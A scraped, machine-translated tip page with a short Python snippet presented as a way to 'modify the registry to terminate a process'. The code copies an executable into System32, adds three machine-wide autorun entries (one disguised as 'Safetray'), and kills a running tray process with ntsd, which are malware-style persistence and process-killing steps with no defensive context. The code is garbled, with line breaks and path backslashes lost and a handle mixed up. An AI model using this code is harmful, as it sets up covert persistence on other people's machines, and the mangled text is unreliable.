Python modifies the registry to terminate process instances

Source: Internet
Author: User
This example describes how Python modifies the registry to terminate the process. Share to everyone for your reference.


The specific implementation code is as follows:


Import _winregimport osimport shutil# copy itself Shutil.copyfile (k3.exe,c:windowssystem32k3.exe) #把启动改为自身run = _winreg. Openkey (  _winreg. HKEY_LOCAL_MACHINE,  "Softwaremicrosoftwindowscurrentversionrun", 0,_winreg. Key_write) _winreg. SetValueEx (  run, "Safetray", 0,_winreg. REG_SZ,  R "C:windowssystem32k3.exe") #添加自启动self = _winreg. Openkey (_winreg. HKEY_LOCAL_MACHINE, "Softwaremicrosoftwindowscurrentversionrun", 0,_winreg. Key_write) _winreg. SetValueEx (Run, "K3", 0,_winreg. Reg_sz,r "C:windowssystem32k3.exe") #添加所有用户启动allrun = _winreg. Openkey (_winreg. HKEY_LOCAL_MACHINE, "Microsoftwindowscurrentversionpoliciesexplorerrun", 0,_winreg. Key_write) _winreg. SetValueEx (Allrun, "K3", 0,_winreg. Reg_sz,r "C:windowssystem32k3.exe") #终止进程os. Popen ("ntsd-c q-pn tray.exe cmd")


Hopefully this article will help you with Python programming.

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.